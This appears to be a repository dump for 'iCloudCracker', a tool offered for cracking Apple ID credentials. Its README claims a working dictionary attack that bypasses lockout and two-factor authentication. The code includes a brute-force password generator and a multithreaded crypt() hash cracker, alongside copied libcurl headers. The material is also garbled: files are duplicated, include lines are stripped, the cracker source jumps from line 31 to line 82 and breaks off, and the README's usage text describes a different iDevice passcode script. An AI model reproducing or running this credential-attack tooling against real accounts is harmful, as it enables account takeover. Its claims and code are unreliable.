├── images ├── Xoxo.jpg └── favicon.ico ├── src ├── bruteforce.h ├── curl │ ├── bruteforce.h │ ├── stdcheaders.h │ ├── bruteforce.c │ ├── options.h │ ├── websockets.h │ ├── mprintf.h │ ├── header.h │ ├── curlver.h │ ├── crack.c │ ├── easy.h │ ├── urlapi.h │ ├── multi.h │ └── system.h ├── bruteforce.c ├── crack.c ├── main.php └── index.php ├── .gitattributes ├── .gitignore ├── README ├── icloudcracker.c ├── files └── wordlist.txt └── LICENSE /images/Xoxo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/byt3n33dl3/iCloudCracker/HEAD/images/Xoxo.jpg -------------------------------------------------------------------------------- /images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/byt3n33dl3/iCloudCracker/HEAD/images/favicon.ico -------------------------------------------------------------------------------- /src/bruteforce.h: -------------------------------------------------------------------------------- 1 | #ifndef BRUTEFORCE_H 2 | #define BRUTEFORCE_H 3 | 4 | #include 5 | 6 | #define MAX_SIZE 30 // only used to avoid errors 7 | // do not use MAX_SIZE to constrain the algorithm to a certain password length. use the while loop in bruteforce.cpp 8 | #define CHAR_COUNT 92 // size of the charset you want to use (number of possible chars for the password) 9 | 10 | void getGuess(); 11 | 12 | #endif // BRUTEFORCE_H 13 | -------------------------------------------------------------------------------- /src/curl/bruteforce.h: -------------------------------------------------------------------------------- 1 | #ifndef BRUTEFORCE_H 2 | #define BRUTEFORCE_H 3 | 4 | #include 5 | 6 | #define MAX_SIZE 30 // only used to avoid errors 7 | // do not use MAX_SIZE to constrain the algorithm to a certain password length. use the while loop in bruteforce.cpp 8 | #define CHAR_COUNT 92 // size of the charset you want to use (number of possible chars for the password) 9 | 10 | void getGuess(); 11 | 12 | #endif // BRUTEFORCE_H 13 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files 2 | *.slo 3 | *.lo 4 | *.o 5 | *.obj 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Compiled Dynamic libraries 12 | *.so 13 | *.dylib 14 | *.dll 15 | 16 | # Fortran module files 17 | *.mod 18 | 19 | # Compiled Static libraries 20 | *.lai 21 | *.la 22 | *.a 23 | *.lib 24 | 25 | # Executables 26 | *.exe 27 | *.out 28 | *.app 29 | 30 | # ========================= 31 | # Operating System Files 32 | # ========================= 33 | 34 | # OSX 35 | # ========================= 36 | 37 | .DS_Store 38 | .AppleDouble 39 | .LSOverride 40 | 41 | # Thumbnails 42 | ._* 43 | 44 | # Files that might appear in the root of a volume 45 | .DocumentRevisions-V100 46 | .fseventsd 47 | .Spotlight-V100 48 | .TemporaryItems 49 | .Trashes 50 | .VolumeIcon.icns 51 | 52 | # Directories potentially created on remote AFP share 53 | .AppleDB 54 | .AppleDesktop 55 | Network Trash Folder 56 | Temporary Items 57 | .apdisk 58 | 59 | # Windows 60 | # ========================= 61 | 62 | # Windows image file caches 63 | Thumbs.db 64 | ehthumbs.db 65 | 66 | # Folder config file 67 | Desktop.ini 68 | 69 | # Recycle Bin used on file shares 70 | $RECYCLE.BIN/ 71 | 72 | # Windows Installer files 73 | *.cab 74 | *.msi 75 | *.msm 76 | *.msp 77 | 78 | # Windows shortcuts 79 | *.lnk 80 | -------------------------------------------------------------------------------- /src/curl/stdcheaders.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_STDCHEADERS_H 2 | #define CURLINC_STDCHEADERS_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | #include 28 | 29 | size_t fread(void *, size_t, size_t, FILE *); 30 | size_t fwrite(const void *, size_t, size_t, FILE *); 31 | 32 | int strcasecmp(const char *, const char *); 33 | int strncasecmp(const char *, const char *, size_t); 34 | 35 | #endif /* CURLINC_STDCHEADERS_H */ 36 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | _ _____ _ _ _____ _ 2 | |_| | |___ _ _ _| | |___ ___ ___| |_ ___ ___ 3 | | | --| | . | | | . | --| _| .'| _| '_| -_| _| 4 | |_|_____|_|___|___|___|_____|_| |__,|___|_,_|___|_| 5 | 6 | Apple ID and Credentials Attack 7 | 8 | Disclaimer: Do whatever you want with this code as long as you give me credit (@Pr0x13) & (@pxcs) 9 | 10 | Check and make sure its legal in your country to use this tool before doing so. 11 | I'm not responsible for any damage done whatsoever to anyones iCloud account or iDevice. 12 | I Didn't exploit any accounts while writing this, as well i didn't even test it out (Hope it works lol). 13 | I merely observed and reported. 14 | 15 | 16 | Install: 17 | Put in HtDocs Folder in your Xampp installation. 18 | Install curl for your OS 19 | Navigate to https://github.com/pxcs/iCloudCracker in your web browser (preferably Firefox, Chrome, or Safari). 20 | Wordlist.txt is from iBrute and it satisfies iCloud password Requirements 21 | It's been reported if icloud server responds with an error restart xampp or your computer 22 | 23 | -=Reports coming in that Server is now Patched with Rate Limiter=- 24 | -=Server Fully Patched, Discontinue use if you don't want to lock your account!!=- 25 | 26 | 27 | U S A G E 28 | 29 | usage: [-h] [-c] [--mojave] [-b folder] 30 | 31 | a script to crack the restriction passcode of an iDevice 32 | 33 | optional arguments: 34 | -h, --help show this help message and exit 35 | -c, --cli prompts user for input 36 | -m, --mojave helps user run script on macOS mojave 37 | -b folder, --backup folder 38 | where backups are located 39 | 40 | What is this? 41 | A 100% Working iCloud Apple ID Dictionary attack that bypasses 42 | Account Lockout restrictions and Secondary Authentication on any account. 43 | 44 | 45 | What this isn't: 46 | A bypass or fully automated removal 47 | 48 | 49 | Why? 50 | This bug is painfully obvious and was only a matter of time before it was 51 | privately used for malicious or nefarious activities, I publicly disclosed it so apple will patch it. 52 | 53 | 54 | @Pr0x13 55 | @pxcs 56 | 57 | Note: 58 | Educational Pusposes Only! 59 | -------------------------------------------------------------------------------- /src/bruteforce.c: -------------------------------------------------------------------------------- 1 | #include "bruteforce.h" 2 | 3 | void getGuess() 4 | { 5 | // TODO: letter frequency analysis 6 | const char chars[CHAR_COUNT+1] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1203495687.!-@*_$#/,+%&?;=~^)[\\]`(:<'>|\""; 7 | int i, j; 8 | int guessc[MAX_SIZE] = {0}; // counter 9 | char guess[MAX_SIZE+1]; // chars crresponding to counter 10 | 11 | for(i = 1; i < MAX_SIZE ; guessc[i++] = -1); // initializing counter with -1 12 | for(i = 1; i <= MAX_SIZE ; guess[i++] = '\0'); // initializing guess with NULL 13 | // change the initialisation of guess if you want the algorithm to start with a certain word/length. 14 | 15 | // if you want to constrain the algorithm to a certain length of password you could add a new var k, such that k < CHAR_COUNT^max_password_length 16 | // you could use the following code: 17 | // add #include to the header file 18 | // and the following to the cpp file: 19 | // int k = 0; 20 | // while(k++ < pow(CHAR_COUNT,MAX_PASSWORD_LENGTH)) 21 | // you would have to define MAX_PASSWORD_LENGTH as the max length passwords you want to try 22 | 23 | while(1) // change here if you want to configure the max number of guesses 24 | { 25 | // increment guessc[i+1] if guessc[i] is bigger than the number of chars in the array 26 | i=0; 27 | while(guessc[i]==CHAR_COUNT) // check all counter elements wether theire value is bigger than the number of chars stored in CHAR_COUNT or not 28 | { 29 | guessc[i]=0; // reset the element that is bigger than CHAR_COUNT to 0 30 | guessc[++i]+=1; // increment the next element (index i+1) 31 | } 32 | 33 | for(j=0;j<=i;++j) // change all chars that differ from the last guess (the number of chars changed is equal to the number of counter elements tested(=i)) 34 | { 35 | // you could remove this if statement since it is infeasibly to bruteforce a 30 char long password in a reasonable amount of time 36 | // if you want the algorithm to stop after a certain length you should change the while loop at line 23 not MAX_SIZE 37 | // MAX_SIZE is only used to avoid accessing an index bigger than the array size! 38 | if(j < MAX_SIZE) // check if an element guess[j] exists 39 | guess[j]=chars[guessc[j]]; 40 | } 41 | // output the guess to std::out 42 | printf("%s\n",guess); // printf is used since it is way faster than std::cout 43 | 44 | ++guessc[0]; // increment guessc at index 0 for the next run 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/curl/bruteforce.c: -------------------------------------------------------------------------------- 1 | #include "bruteforce.h" 2 | 3 | void getGuess() 4 | { 5 | // TODO: letter frequency analysis 6 | const char chars[CHAR_COUNT+1] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1203495687.!-@*_$#/,+%&?;=~^)[\\]`(:<'>|\""; 7 | int i, j; 8 | int guessc[MAX_SIZE] = {0}; // counter 9 | char guess[MAX_SIZE+1]; // chars crresponding to counter 10 | 11 | for(i = 1; i < MAX_SIZE ; guessc[i++] = -1); // initializing counter with -1 12 | for(i = 1; i <= MAX_SIZE ; guess[i++] = '\0'); // initializing guess with NULL 13 | // change the initialisation of guess if you want the algorithm to start with a certain word/length. 14 | 15 | // if you want to constrain the algorithm to a certain length of password you could add a new var k, such that k < CHAR_COUNT^max_password_length 16 | // you could use the following code: 17 | // add #include to the header file 18 | // and the following to the cpp file: 19 | // int k = 0; 20 | // while(k++ < pow(CHAR_COUNT,MAX_PASSWORD_LENGTH)) 21 | // you would have to define MAX_PASSWORD_LENGTH as the max length passwords you want to try 22 | 23 | while(1) // change here if you want to configure the max number of guesses 24 | { 25 | // increment guessc[i+1] if guessc[i] is bigger than the number of chars in the array 26 | i=0; 27 | while(guessc[i]==CHAR_COUNT) // check all counter elements wether theire value is bigger than the number of chars stored in CHAR_COUNT or not 28 | { 29 | guessc[i]=0; // reset the element that is bigger than CHAR_COUNT to 0 30 | guessc[++i]+=1; // increment the next element (index i+1) 31 | } 32 | 33 | for(j=0;j<=i;++j) // change all chars that differ from the last guess (the number of chars changed is equal to the number of counter elements tested(=i)) 34 | { 35 | // you could remove this if statement since it is infeasibly to bruteforce a 30 char long password in a reasonable amount of time 36 | // if you want the algorithm to stop after a certain length you should change the while loop at line 23 not MAX_SIZE 37 | // MAX_SIZE is only used to avoid accessing an index bigger than the array size! 38 | if(j < MAX_SIZE) // check if an element guess[j] exists 39 | guess[j]=chars[guessc[j]]; 40 | } 41 | // output the guess to std::out 42 | printf("%s\n",guess); // printf is used since it is way faster than std::cout 43 | 44 | ++guessc[0]; // increment guessc at index 0 for the next run 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/curl/options.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_OPTIONS_H 2 | #define CURLINC_OPTIONS_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | typedef enum { 32 | CURLOT_LONG, /* long (a range of values) */ 33 | CURLOT_VALUES, /* (a defined set or bitmask) */ 34 | CURLOT_OFF_T, /* curl_off_t (a range of values) */ 35 | CURLOT_OBJECT, /* pointer (void *) */ 36 | CURLOT_STRING, /* (char * to null-terminated buffer) */ 37 | CURLOT_SLIST, /* (struct curl_slist *) */ 38 | CURLOT_CBPTR, /* (void * passed as-is to a callback) */ 39 | CURLOT_BLOB, /* blob (struct curl_blob *) */ 40 | CURLOT_FUNCTION /* function pointer */ 41 | } curl_easytype; 42 | 43 | /* Flag bits */ 44 | 45 | /* "alias" means it is provided for old programs to remain functional, 46 | we prefer another name */ 47 | #define CURLOT_FLAG_ALIAS (1<<0) 48 | 49 | /* The CURLOPTTYPE_* id ranPgt can still be used to figure out what type/size 50 | to use for curl_easy_setopt() for the given id */ 51 | struct curl_easyoption { 52 | const char *name; 53 | CURLoption id; 54 | curl_easytype type; 55 | unsigned int flags; 56 | }; 57 | 58 | CURL_EXTERN const struct curl_easyoption * 59 | curl_easy_option_by_name(const char *name); 60 | 61 | CURL_EXTERN const struct curl_easyoption * 62 | curl_easy_option_by_id(CURLoption id); 63 | 64 | CURL_EXTERN const struct curl_easyoption * 65 | curl_easy_option_next(const struct curl_easyoption *prev); 66 | 67 | #ifdef __cplusplus 68 | } /* end of extern "C" */ 69 | #endif 70 | #endif /* CURLINC_OPTIONS_H */ 71 | -------------------------------------------------------------------------------- /src/curl/websockets.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_WEBSOCKETS_H 2 | #define CURLINC_WEBSOCKETS_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | struct curl_ws_frame { 32 | int age; /* zero */ 33 | int flags; /* See the CURLWS_* defines */ 34 | curl_off_t offset; /* the offset of this data into the frame */ 35 | curl_off_t bytesleft; /* number of pending bytes left of the payload */ 36 | size_t len; /* size of the current data chunk */ 37 | }; 38 | 39 | /* flag bits */ 40 | #define CURLWS_TEXT (1<<0) 41 | #define CURLWS_BINARY (1<<1) 42 | #define CURLWS_CONT (1<<2) 43 | #define CURLWS_CLOSE (1<<3) 44 | #define CURLWS_PING (1<<4) 45 | #define CURLWS_OFFSET (1<<5) 46 | 47 | /* 48 | * NAME curl_ws_recv() 49 | * 50 | * DESCRIPTION 51 | * 52 | * Receives data from the websocket connection. Use after successful 53 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option. 54 | */ 55 | CURL_EXTERN CURLcode curl_ws_recv(CURL *curl, void *buffer, size_t buflen, 56 | size_t *recv, 57 | const struct curl_ws_frame **metap); 58 | 59 | /* flags for curl_ws_send() */ 60 | #define CURLWS_PONG (1<<6) 61 | 62 | /* 63 | * NAME curl_ws_send() 64 | * 65 | * DESCRIPTION 66 | * 67 | * Sends data over the websocket connection. Use after successful 68 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option. 69 | */ 70 | CURL_EXTERN CURLcode curl_ws_send(CURL *curl, const void *buffer, 71 | size_t buflen, size_t *sent, 72 | curl_off_t fragsize, 73 | unsigned int flags); 74 | 75 | /* bits for the CURLOPT_WS_OPTIONS bitmask: */ 76 | #define CURLWS_RAW_MODE (1<<0) 77 | 78 | CURL_EXTERN const struct curl_ws_frame *curl_ws_meta(CURL *curl); 79 | 80 | #ifdef __cplusplus 81 | } 82 | #endif 83 | 84 | #endif /* CURLINC_WEBSOCKETS_H */ 85 | -------------------------------------------------------------------------------- /src/curl/mprintf.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_MPRINTF_H 2 | #define CURLINC_MPRINTF_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | #include 28 | #include /* needed for FILE */ 29 | #include "curl.h" /* for CURL_EXTERN */ 30 | 31 | #ifdef __cplusplus 32 | extern "C" { 33 | #endif 34 | 35 | #if (defined(__GNUC__) || defined(__clang__)) && \ 36 | defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) && \ 37 | !defined(CURL_NO_FMT_CHECKS) 38 | #if defined(__MINGW32__) && !defined(__clang__) 39 | #define CURL_TEMP_PRINTF(fmt, arg) \ 40 | __attribute__((format(gnu_printf, fmt, arg))) 41 | #else 42 | #define CURL_TEMP_PRINTF(fmt, arg) \ 43 | __attribute__((format(printf, fmt, arg))) 44 | #endif 45 | #else 46 | #define CURL_TEMP_PRINTF(fmt, arg) 47 | #endif 48 | 49 | CURL_EXTERN int curl_mprintf(const char *format, ...) 50 | CURL_TEMP_PRINTF(1, 2); 51 | CURL_EXTERN int curl_mfprintf(FILE *fd, const char *format, ...) 52 | CURL_TEMP_PRINTF(2, 3); 53 | CURL_EXTERN int curl_msprintf(char *buffer, const char *format, ...) 54 | CURL_TEMP_PRINTF(2, 3); 55 | CURL_EXTERN int curl_msnprintf(char *buffer, size_t maxlength, 56 | const char *format, ...) 57 | CURL_TEMP_PRINTF(3, 4); 58 | CURL_EXTERN int curl_mvprintf(const char *format, va_list args) 59 | CURL_TEMP_PRINTF(1, 0); 60 | CURL_EXTERN int curl_mvfprintf(FILE *fd, const char *format, va_list args) 61 | CURL_TEMP_PRINTF(2, 0); 62 | CURL_EXTERN int curl_mvsprintf(char *buffer, const char *format, va_list args) 63 | CURL_TEMP_PRINTF(2, 0); 64 | CURL_EXTERN int curl_mvsnprintf(char *buffer, size_t maxlength, 65 | const char *format, va_list args) 66 | CURL_TEMP_PRINTF(3, 0); 67 | CURL_EXTERN char *curl_maprintf(const char *format, ...) 68 | CURL_TEMP_PRINTF(1, 2); 69 | CURL_EXTERN char *curl_mvaprintf(const char *format, va_list args) 70 | CURL_TEMP_PRINTF(1, 0); 71 | 72 | #undef CURL_TEMP_PRINTF 73 | 74 | #ifdef __cplusplus 75 | } /* end of extern "C" */ 76 | #endif 77 | 78 | #endif /* CURLINC_MPRINTF_H */ 79 | -------------------------------------------------------------------------------- /src/curl/header.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_HEADER_H 2 | #define CURLINC_HEADER_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | struct curl_header { 32 | char *name; /* this might not use the same case */ 33 | char *value; 34 | size_t amount; /* number of headers using this name */ 35 | size_t index; /* ... of this instance, 0 or higher */ 36 | unsigned int origin; /* see bits below */ 37 | void *anchor; /* handle privately used by libcurl */ 38 | }; 39 | 40 | /* 'origin' bits */ 41 | #define CURLH_HEADER (1<<0) /* plain server header */ 42 | #define CURLH_TRAILER (1<<1) /* trailers */ 43 | #define CURLH_CONNECT (1<<2) /* CONNECT headers */ 44 | #define CURLH_1XX (1<<3) /* 1xx headers */ 45 | #define CURLH_PSEUDO (1<<4) /* pseudo headers */ 46 | 47 | typedef enum { 48 | CURLHE_OK, 49 | CURLHE_BADINDEX, /* header exists but not with this index */ 50 | CURLHE_MISSING, /* no such header exists */ 51 | CURLHE_NOHEADERS, /* no headers at all exist (yet) */ 52 | CURLHE_NOREQUEST, /* no request with this number was used */ 53 | CURLHE_OUT_OF_MEMORY, /* out of memory while processing */ 54 | CURLHE_BAD_ARGUMENT, /* a function argument was not okay */ 55 | CURLHE_NOT_BUILT_IN /* if API was disabled in the build */ 56 | } CURLHcode; 57 | 58 | CURL_EXTERN CURLHcode curl_easy_header(CURL *easy, 59 | const char *name, 60 | size_t index, 61 | unsigned int origin, 62 | int request, 63 | struct curl_header **hout); 64 | 65 | CURL_EXTERN struct curl_header *curl_easy_nextheader(CURL *easy, 66 | unsigned int origin, 67 | int request, 68 | struct curl_header *prev); 69 | 70 | #ifdef __cplusplus 71 | } /* end of extern "C" */ 72 | #endif 73 | 74 | #endif /* CURLINC_HEADER_H */ 75 | -------------------------------------------------------------------------------- /src/curl/curlver.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_CURLVER_H 2 | #define CURLINC_CURLVER_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | /* This header file contains nothing but libcurl version info, generated by 28 | a script at release-time. This was made its own header file in 7.11.2 */ 29 | 30 | /* This is the global package copyright */ 31 | #define LIBCURL_COPYRIGHT "Daniel Stenberg, ." 32 | 33 | /* This is the version number of the libcurl package from which this header 34 | file origins: */ 35 | #define LIBCURL_VERSION "8.8.0" 36 | 37 | /* The numeric version number is also available "in parts" by using these 38 | defines: */ 39 | #define LIBCURL_VERSION_MAJOR 8 40 | #define LIBCURL_VERSION_MINOR 8 41 | #define LIBCURL_VERSION_PATCH 0 42 | 43 | /* This is the numeric version of the libcurl version number, meant for easier 44 | parsing and comparisons by programs. The LIBCURL_VERSION_NUM define will 45 | always follow this syntax: 46 | 47 | 0xXXYYZZ 48 | 49 | Where XX, YY and ZZ are the main version, release and patch numbers in 50 | hexadecimal (using 8 bits each). All three numbers are always represented 51 | using two digits. 1.2 would appear as "0x010200" while version 9.11.7 52 | appears as "0x090b07". 53 | 54 | This 6-digit (24 bits) hexadecimal number does not show pre-release number, 55 | and it is always a greater number in a more recent release. It makes 56 | comparisons with greater than and less than work. 57 | 58 | Note: This define is the full hex number and _does not_ use the 59 | CURL_VERSION_BITS() macro since curl's own configure script greps for it 60 | and needs it to contain the full number. 61 | */ 62 | #define LIBCURL_VERSION_NUM 0x080800 63 | 64 | /* 65 | * This is the date and time when the full source package was created. The 66 | * timestamp is not stored in git, as the timestamp is properly set in the 67 | * tarballs by the maketgz script. 68 | * 69 | * The format of the date follows this template: 70 | * 71 | * "2007-11-23" 72 | */ 73 | #define LIBCURL_TIMESTAMP "2024-05-22" 74 | 75 | #define CURL_VERSION_BITS(x,y,z) ((x)<<16|(y)<<8|(z)) 76 | #define CURL_AT_LEAST_VERSION(x,y,z) \ 77 | (LIBCURL_VERSION_NUM >= CURL_VERSION_BITS(x, y, z)) 78 | 79 | #endif /* CURLINC_CURLVER_H */ 80 | -------------------------------------------------------------------------------- /icloudcracker.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 2 | #define _GNU_SOURCE 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define LIMIT 16 13 | 14 | int found = 0; 15 | char stop = 'z'; 16 | char start = 'a'; 17 | int threadCount; 18 | 19 | pthread_mutex_t lock; 20 | 21 | struct Param { 22 | int id; 23 | int len; 24 | char *salt; 25 | char *pswd; 26 | struct crypt_data *data; 27 | }; 28 | 29 | void init(char *word, int size){ 30 | int i = 0; 31 | for(i; ilen; 82 | int count = 1; 83 | 84 | struct crypt_data data; 85 | data.initialized = 0; 86 | 87 | while (j >= 1){ 88 | init(word, j); 89 | int h; 90 | char c; 91 | h = j - 1; 92 | 93 | while(h >= 0){ 94 | 95 | bool end = false; 96 | 97 | if (h != j-1) word[h] += 1; 98 | 99 | while(!end){ 100 | if (found > 0) pthread_exit(NULL); 101 | 102 | if (count == p->id){ 103 | 104 | //if (p->id == 1) printf("Now Word for %d : %s\n", p->id, word); 105 | 106 | int res = crack(p->salt, word, p->pswd, j-1, h, &data, p->id); 107 | 108 | if (res == 1){ 109 | __sync_add_and_fetch(&found, 1); 110 | 111 | printf("Password is: %s\n", word); 112 | pthread_exit(NULL); 113 | } 114 | } 115 | 116 | if (count == threadCount) count = 1; 117 | else count++; 118 | 119 | end = done(word, j-2, h, 1); 120 | 121 | //if ((p->id == 8 || p->id == 7) && j == 4) printf("Next Word for %d : %s\n", p->id, word); 122 | } 123 | h--; 124 | } 125 | 126 | j--; 127 | } 128 | } 129 | 130 | int main(char argc, char *argv[]){ 131 | 132 | if (argc < 4){ 133 | printf("Invalid number of arguments\n"); 134 | printf("Usage: ./crack \n"); 135 | return 0; 136 | } 137 | 138 | int keysize = atoi(argv[2]); 139 | threadCount = atoi(argv[1]); 140 | 141 | if (keysize > 8 || keysize < 1){ 142 | printf("Keysize must from 1 to 8 (inclusive)\n"); 143 | return 0; 144 | } 145 | 146 | 147 | if (threadCount < 1){ 148 | printf("Number of threads must be atleast 1\n"); 149 | return 0; 150 | } 151 | 152 | if (argc > 4 && argv[4] != NULL){ 153 | start = '!'; 154 | stop = '~'; 155 | } 156 | 157 | char salt[3]; 158 | getSalt(argv[3], salt); 159 | 160 | int k = 0; 161 | pthread_t thread[threadCount]; 162 | struct Param p[threadCount]; 163 | int res[threadCount]; 164 | 165 | pthread_mutex_init(&lock, NULL); 166 | 167 | for (k; k < threadCount; k++){ 168 | p[k].salt = salt; 169 | p[k].pswd = argv[3]; 170 | p[k].id = k+1; 171 | 172 | p[k].len = keysize; 173 | 174 | res[k] = pthread_create(&thread[k], NULL, run, &p[k]); 175 | } 176 | 177 | for (k = 0; k < threadCount; k++){ 178 | if (res[k] == 0){ 179 | pthread_join(thread[k], NULL); 180 | } 181 | } 182 | 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /src/crack.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 2 | #define _GNU_SOURCE 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define LIMIT 16 13 | 14 | int found = 0; 15 | char stop = 'z'; 16 | char start = 'a'; 17 | int threadCount; 18 | 19 | pthread_mutex_t lock; 20 | 21 | struct Param { 22 | int id; 23 | int len; 24 | char *salt; 25 | char *pswd; 26 | struct crypt_data *data; 27 | }; 28 | 29 | void init(char *word, int size){ 30 | int i = 0; 31 | for(i; ilen; 82 | int count = 1; 83 | 84 | struct crypt_data data; 85 | data.initialized = 0; 86 | 87 | while (j >= 1){ 88 | init(word, j); 89 | int h; 90 | char c; 91 | h = j - 1; 92 | 93 | while(h >= 0){ 94 | 95 | bool end = false; 96 | 97 | if (h != j-1) word[h] += 1; 98 | 99 | while(!end){ 100 | if (found > 0) pthread_exit(NULL); 101 | 102 | if (count == p->id){ 103 | 104 | //if (p->id == 1) printf("Now Word for %d : %s\n", p->id, word); 105 | 106 | int res = crack(p->salt, word, p->pswd, j-1, h, &data, p->id); 107 | 108 | if (res == 1){ 109 | __sync_add_and_fetch(&found, 1); 110 | 111 | printf("Password is: %s\n", word); 112 | pthread_exit(NULL); 113 | } 114 | } 115 | 116 | if (count == threadCount) count = 1; 117 | else count++; 118 | 119 | end = done(word, j-2, h, 1); 120 | 121 | //if ((p->id == 8 || p->id == 7) && j == 4) printf("Next 